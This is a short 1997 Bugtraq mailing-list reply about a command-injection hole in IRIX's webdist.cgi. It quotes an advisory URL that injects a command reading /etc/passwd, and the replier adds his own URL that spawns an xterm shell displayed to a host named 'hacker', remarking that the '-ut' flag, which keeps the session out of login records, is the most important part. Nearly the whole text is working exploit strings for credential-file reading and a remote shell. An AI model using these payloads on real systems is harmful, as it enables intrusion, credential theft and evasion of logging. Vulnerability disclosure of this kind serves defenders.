[4421] in bugtraq
Re: SGI Advisory: webdist.cgi
daemon@ATHENA.MIT.EDU (Chris Sheldon)
Thu May 8 01:26:38 1997
Date: Wed, 7 May 1997 12:22:44 -0700
Reply-To: Chris Sheldon <csh@VIEWGRAPHICS.COM>
From: Chris Sheldon <csh@VIEWGRAPHICS.COM>
To: BUGTRAQ@NETSPACE.ORG
> Title: Default IRIX cgi-bin programs
> OS: irix
> OSver: 6.2,6.3
> Files: /var/www/cgi-bin/webdist.cgi
> Perms: X
> Access: Remote
>
> /cgi-bin/webdist.cgi?distloc=;cat%20/etc/passwd
http://host/webdist.cgi?distloc=;/usr/bin/X11/xterm%20-display%20hacker:0.0%20-ut%20-e%20/bin/sh
The '-ut' is the most important part... :-)
Chris.
